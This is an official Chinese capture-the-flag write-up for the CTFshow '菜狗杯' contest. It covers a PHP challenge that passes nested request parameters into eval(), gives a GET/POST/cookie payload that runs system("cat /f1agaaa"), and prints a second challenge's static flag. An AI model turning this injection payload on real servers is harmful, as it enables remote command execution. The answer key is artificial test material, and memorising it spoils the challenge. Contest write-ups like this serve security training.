CTFshow菜狗杯官方wp

赛事概述

•
比赛名称：菜狗杯​

•
比赛时间：2022年11月11日20时，共48小时​

•
比赛类型：个人赛​

•
比赛难度：轻轻松松，量大管饱，没有逆向和pwn​

•
比赛奖品：菜狗(可绿可粉)​

•
非强制规定：有npy人士禁止参加​

•

比赛地址：https://ctf.show/challenges

web部分

web1 web签到

•
出题人：大菜鸡​

•
题目描述: 欢迎大家来玩​

题目代码如下：

代码块

​
<?php​
​
/*​
# -*- coding: utf-8 -*-​
# @Author: h1xa​
# @Date:   2022-11-10 17:20:38​
# @Last Modified by:   h1xa​
# @Last Modified time: 2022-11-11 09:38:59​
# @email: h1xa@ctfer.com​
# @link: https://ctfer.com​
​
*/​
​
​
error_reporting(0);​
highlight_file(__FILE__);​
​
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);​
​

payload:

代码块

http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");​
post: a=b​
cookie:CTFshow-QQ群：=a​

web2 c0me_t0_s1gn

•
出题人；探姬​

•
考点：HTML+Js Web基础​

•
静态flag：ctfshow{We1c0me_t0_jo1n_u3_!} ​

CTFshow菜狗杯官方wp​

CTFshow菜狗杯官方wp